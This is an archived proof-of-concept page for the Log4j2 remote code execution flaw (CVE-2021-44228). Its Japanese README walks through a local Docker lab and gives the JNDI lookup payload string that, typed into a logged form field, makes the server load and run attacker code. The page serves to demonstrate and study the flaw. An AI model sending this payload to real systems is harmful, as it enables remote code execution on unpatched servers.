Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source
Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
log4j2 CVE-2021-44228 POC
Readme
# 概要
`log4j2`のリモートコード実行の脆弱性(CVE-2021-44228)を実際に試すためのプロジェクトです。

## コンテナを立ち上げる
```
docker-compose up
```
`log4j`コンテナは起動してから使えるようになるまで少し時間がかかります。以下のコマンドで進行状況を確認してください。
```
docker logs -f log4j
```
`Server started: Listening on port 8081`と表示されたら準備完了です。

## 攻撃前の状態の確認
`log4j`コンテナの`/root`ディレクトリを確認します。
```
docker exec log4j ls /root
```
初期状態では、`work`ディレクトリのみがある状態です。

## 実際に攻撃を行う
`http://localhost:8081/`にアクセスします。フォームに入力された名前を、画面とログに出力するだけのシンプルなアプリケーションです。

フォームに`${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com}`を入力し、送信します。

`log4j`コンテナの`/root`ディレクトリを確認します。
```
docker exec log4j ls /root
```
攻撃者が用意したコードが実行され、先ほどまで存在しなかったファイルが作られているはずです。タイムスタンプをファイル名にしているので、攻撃を行った回数だけ新規ファイルが増えていきます。

`ldap`コンテナのログを確認すると、`log4j`コンテナから`SEARCH`リクエストが来ていることが確認できます。
```
docker logs ldap
```
`web`コンテナの`tomcat`のログを確認すると、`log4j`コンテナから`Exploit.class`(攻撃に使用するクラス)に対するアクセスが来ていることが確認できます。
```
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*
```
File Snapshot

[4.0K] /data/pocs/3df9320c8d9291a984864e07fa1d06392194dd2d ├── [ 720] docker-compose.yml ├── [4.0K] ldap │   └── [4.0K] ldif │   ├── [ 396] enable-anonymous.ldif │   ├── [2.9K] java.ldif │   └── [ 231] javaObject.ldif ├── [4.0K] log4j │   └── [4.0K] work │   └── [4.0K] rce │   ├── [1.8K] pom.xml │   └── [4.0K] src │   └── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] com │   │   └── [4.0K] sample │   │   └── [2.3K] App.java │   └── [4.0K] resources │   └── [ 320] log4j2.xml ├── [1.8K] README.md └── [4.0K] web └── [4.0K] work ├── [ 151] entrypoint.sh └── [ 232] Exploit.java 13 directories, 10 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →